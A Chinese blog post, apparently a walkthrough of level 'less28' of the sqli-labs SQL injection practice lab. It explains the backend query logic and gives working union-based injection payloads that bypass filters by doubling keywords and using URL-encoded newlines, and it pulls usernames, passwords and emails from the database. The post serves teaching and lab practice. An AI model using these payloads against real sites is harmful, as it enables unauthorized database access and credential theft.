首页 > 其他分享 >less28

less28

时间:2023-01-18 16:12:06浏览次数:26  
标签:group users less28 concat where id select

这里测试一下发现是有报错注入的,也可以用回显注入。这里用order by 是没法判断列数的,因为

select * from users where id=(1) order by 4 and (1) limit 0,1;

会因为优先级的问题变成 4先和1做and运算得出1.语句就变成了

`select * from users where id=(1) order by 1 limit 0,1;`

img
这里利用的是原本语句的闭合括号,等于联合了另外一张表,在数据库中语句就是

select * from users where id=(0)union (select 1,(select(group_concat(username))from(users)),3 '1')  limit 0,1;

img
payload

?id=0')union(select%0d1,(select(group_concat(username,password))from(users)),'3

img
那么也可以使用另外一种方法,使用and来闭合最后的括号。

?id=0')union%0aunion%0aselectselect%0a1,group_concat(id,email_id),3%0afrom%0aemails%0awhere%0a1=1%0aand('1')=('1

img
这样子写就相当于在数据库中是,利用最后的and运算为1配合上where,导致where成真执行查询语句,如果我们不加where就会报错了。

select * from users where id=(0)union select 1,group_concat(username),3 from users where 1=1 and ('1')='1'  limit 0,1;

img

标签:group,users,less28,concat,where,id,select
From: https://www.cnblogs.com/qianyuzz/p/17060071.html

相关文章